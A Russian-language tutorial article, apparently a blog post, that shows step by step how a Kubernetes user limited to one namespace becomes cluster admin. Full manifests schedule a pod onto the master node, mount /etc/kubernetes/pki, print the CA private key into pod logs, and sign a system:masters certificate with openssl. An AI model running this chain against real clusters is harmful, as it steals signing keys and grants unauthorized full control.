Когда кто-то говорит о безопасности, в первую очередь имеет ввиду авторизацию и аутентификацию, но в контексте Kubernetes эти две составляющие являются лишь маленькими кусочками большого пазла.

В этой статье вы увидите, как пользователь с ограниченными правами, может повысить свои привилегии и стать админом кластера.

Вводные данные

Итак, у нас есть пользователь lancelot, с ограниченными правами: он может редактировать и создавать Deployments, и получать информацию о Pods – в пределах своего Namespace. Казалось бы, его права ограничены в рамках одного Namespace, и можно подумать что с точки зрения безопасности тут все хорошо, но к сожалению это не так!

План атаки

Что мы знаем:

  • ca.key — это приватный ключ CA. С помощью этого файла, обычно хранящегося по известному пути на Master Nodes, вместе с ca.cert мы можем подписать любой CSR. Проблема в том, что этот файл доступен только для root-пользователей.

  • Наш пользователь (lancelot) может редактировать Deployments, но только в пределах одного Namespace. Он также может читать информацию о Pods, включая их логи!

  • Deployments порождают Pods, а в Pods крутятся контейнеры.

  • Использование hostPath позволит примонтировать часть хостовой файловой системы внутрь Pod.

Итак, сам план:

  1. Создаем Deployment и пытаемся заставить Kubernetes запустить Pods на Master Node, где находятся нужные нам сертификаты.

  2. Монтируем директорию /etc/kubernetes/pki через hostPath внутрь Pod.

  3. Внутри созданного Pod, будут лежать нужные нам сертификаты. Мы можем смотреть логи – этого будет достаточно, для того чтобы украсть их.

  4. Создаем CSR для нового пользователя – dragon, члена группы system:masters, и подписываем его с помощью украденных ca.key и ca.cert.

Назначаем Pod на Master Node

Как вы, наверное, знаете, каждый раз когда вы пытаетесь создать Pod, kube-scheduler подбирает оптимальную Node для запуска этого Pod. Это можно проверить, вызвав команду describe для конкретного Pod:

kubectl describe pod <a-pod>
В событиях видно, что Pod будет запущен на node01
В событиях видно, что Pod будет запущен на node01

Задача kube-scheduler состоит в том, чтобы найти наиболее подходящую Node для запуска конкретного Pod. Поэтому, как правило, вы не может предугадать на какой Node запустится Pod. Тем не менее, есть несколько вариантов, как заставить запустится Pod на нужной нам Node – самый простой использовать nodeSelector.

nodeSelector

Из официальной документации:

nodeSelector is the simplest recommended form of node selection constraint. You can add the nodeSelector field to your Pod specification and specify the node labels you want the target node to have. Kubernetes only schedules the Pod onto nodes that have each of the labels you specify.

Другими словами, Вы можете использовать nodeSelector, чтобы назначить запуск Pod на Node с заданным label. Было бы неплохо, если бы существовал дефолтный label, который мы могли использовать для того, чтобы запустить Pod на нужной нам Node.

Давайте проверим есть ли такой label:

kubectl get node <your-masternode> -o jsonpath=’{.metadata.labels}’ | jq
Дефолтный лейбл для Master Node
Дефолтный лейбл для Master Node

Лейбл “node-role.kubernetes.io/master” то что нам нужно!

Пример манифеста, где мы создаем Deployment с одной репликой, внутри которого крутится контейнер с nginx, и этот порождённый Pod должен запуститься на Master Node:

cat <<EOF | kubectl apply -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  labels:
    app: nginx
  name: nginx
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      nodeSelector:
        node-role.kubernetes.io/master: ""
      containers:
      - image: nginx
        name: nginx
EOF

Посмотрим что произойдет, если применить этот манифест:

kubectl get pod -owide
Pod не был назначен на Node
Pod не был назначен на Node

Кажется что-то пошло не так – Pod в статусе Pending. Если мы попробуем вызвать команду describe, используя наш Service Account lancelot, то мы не увидим никаких Events (у этого пользователя нет прав на это).

Тем не менее, пользователь lancelot имеет права на чтение Pods. Это значит, что мы можем узнать статус Pod:

kubectl get po nginx-... -o  jsonpath='{.status.conditions}' | jq

Ошибка гласит нам, что мы на правильном пути! nodeSelector заставил scheduler пропустить две Worker Node, однако Pod не запустился на Master Node из-за taint.

Taint & tolerations

Можно по-разному объяснить что это такое, но давайте я постараюсь это сделать как можно проще. Представьте, что taints это некий забор, разграничивающий VIP зону в клубе, причем попасть в эту зону можно только по приглашениям. А tolerations – это как раз приглашение для входа в VIP зону.

Возвращаясь к Kubernetes, механизм Taint & Tolerations нужен для того, чтобы запускать Pod только на нужных Node – например с нужным оборудованием. Или же наоборот – Taint можно использовать для недопущения запуска Pods на конкретной Node.

Формат такой:

key=value:effect

Key и value являются произвольными строками, а вот effect может принимать разные значения:

  • NoSchedule – Pods без toleration не смогут запуститься на Node с taint (наш случай).

  • NoExecute – Pods, работающие на taint Node без toleration, будут удалены с Node.

Tolerations бывает двух видов:

  1. Equal – tolerations сработает только при полном совпадении с key, value и effects

    tolerations:
    - key: "key1"
    operator: "Equal"
    value: "value1"
    effect: "NoSchedule"

  2. Exist – toleration сработает, если есть совпадение с key и effects

    tolerations:
    - key: "key1"
    operator: "Exists"
    effect: "NoSchedule"

Если хотите больше узнать об Taint & Tolerations – изучайте официальную документацию!

Тем не менее, наша текущая ситуация:

Мы не могли заставить запуститься наш Pod на Master Node из-за taint. Но теперь мы знаем как это можно обойти. Отредактируем наш Deployment, добавив 4 строчки:

...
spec:      
  tolerations:      
  - key: ""        
    operator: "Exists"        
    effect: "NoSchedule"
  ...

Теперь наш Pod запустился на Master Node:

Кража ключа и сертификата

Теперь, когда мы можем запустить Pod на Master Node, можно развивать атаку дальше. А именно, примонтировать часть файловой системы Node (папку с нужными ключами и сертификатами) внутрь Pod с помощью hostPath. Затем, указать нашему контейнеру вывести в логи содержимое этой папки. Финальная версия Deployment выглядит так:

cat <<EOF | kubectl apply -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  labels:
    app: busybox
  name: busybox
spec:
  replicas: 1
  selector:
    matchLabels:
      app: busybox
  template:
    metadata:
      labels:
        app: busybox
    spec:
      tolerations:
      - key: ""
        operator: "Exists"
        effect: "NoSchedule"
      nodeSelector:
        node-role.kubernetes.io/master: ""
      containers:
      - image: busybox
        name: busybox
        command:
        - sh
        - -c
        - echo -e "KEY:\n"; cat /etc/kubernetes/pki/ca.key; echo -e "CRT\n";  cat /etc/kubernetes/pki/ca.crt; sleep 3600;
        volumeMounts:
        - mountPath: /etc/kubernetes/pki
          name: k8s-certs
      volumes:
      - name: k8s-certs
        hostPath:
          path: /etc/kubernetes/pki
EOF

Если посмотреть логи Pod, то можно увидеть ключи и сертификаты, которые мы искали:

kubectl logs busybox-...
Джекпот: мы получили ключ и сертификат!
Джекпот: мы получили ключ и сертификат!

Генерируем креды с админскими правами

Мы получили нужные нам ключи и сертификаты. Пришло время создать сертификат c админскими правами для пользователя dragon:

openssl genrsa -out dragon.key 2048
openssl req -new -key dragon.key -out dragon.csr -subj "/CN=dragon/O=system:masters"
openssl x509 -req -in dragon.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out dragon.crt -days 365

Затем мы можем добавить новый сертификат в KUBECONFIG. Обратите внимание, что имя моего кластера – camelot, у Вас имя будет отличаться.

kubectl config set-credentials dragon --client-certificate=dragon.crt --client-key=dragon.key --embed-certs
kubectl config set-context dragon@camelot --user=dragon --cluster=camelot
kubectl config use-context dragon@camelot

Поздравляю! Вы стали кластер-админом:

kubectl auth can-i delete namespaces -A
> yes

Комментарии (0)